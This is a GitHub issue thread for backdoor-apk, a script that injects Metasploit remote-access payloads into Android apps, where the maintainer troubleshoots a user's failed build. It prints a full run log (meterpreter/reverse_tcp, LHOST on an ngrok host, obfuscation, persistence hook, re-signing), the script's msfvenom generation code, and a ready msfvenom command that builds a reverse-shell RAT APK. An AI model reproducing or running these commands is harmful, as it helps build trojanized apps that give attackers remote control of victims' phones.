dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.21k stars 702 forks source link

Falha na execução do programa #120

Closed henriqueyuri00 closed 7 years ago

henriqueyuri00 commented 7 years ago

Olá, na compilação do arquivo, esta ocorrendo um problema img_20170928_224717

dana-at-cp commented 7 years ago

@henriqueyuri00 Is this still a problem? I can't reproduce. I'm guessing it has something to do with your default system language for Portugese but it's just a hunch.

root@kali:~/Code/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk 
          ________
         / ______ \
         || _  _ ||
         ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
         |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
         || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
         ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
         |||_||_|||         AAA  AAA  PPP       KKK  KKK
         ||______||         AAA  AAA  PPP       KKK  KKK
        /__________\
________|__________|__________________________________________
       /____________\
       |____________|            Dana James Traversie

[*] Running backdoor-apk.sh v0.2.2 on Fri Oct  6 12:07:37 EDT 2017
[+] Android payload options:
1) meterpreter/reverse_http   4) shell/reverse_http
2) meterpreter/reverse_https  5) shell/reverse_https
3) meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 3
[?] Please enter an LHOST value: 0.tcp.ngrok.io
[?] Please enter an LPORT value: 15461
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 1
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Generating RAT APK file...done.
[*] Decompiling original APK file...done.
[+] Keeping permissions of original project
[*] Running proguard on RAT APK file...done.
[*] Decompiling obfuscated RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Code/github/backdoor-apk/backdoor-apk#
henriqueyuri00 commented 7 years ago

Qual procedimento eu poderia fazer para corrigir o problema?

dana-at-cp commented 7 years ago

@henriqueyuri00 Here is the code that generates the RAT APK file:

echo -n "[*] Generating RAT APK file..."
$MSFVENOM -a dalvik --platform android -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -f raw -o $RAT_APK_FILE >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ] || [ ! -f $RAT_APK_FILE ]; then
  echo "[!] Failed to generate RAT APK file"
  exit 1
fi

Can you try to run msfvenom manually?

msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=15461 -f raw -o rat.apk
henriqueyuri00 commented 7 years ago

Aparece como comando não reconhecido

dana-at-cp commented 7 years ago

@henriqueyuri00 A proper installation of the Metasploit framework is a prerequisite for this project.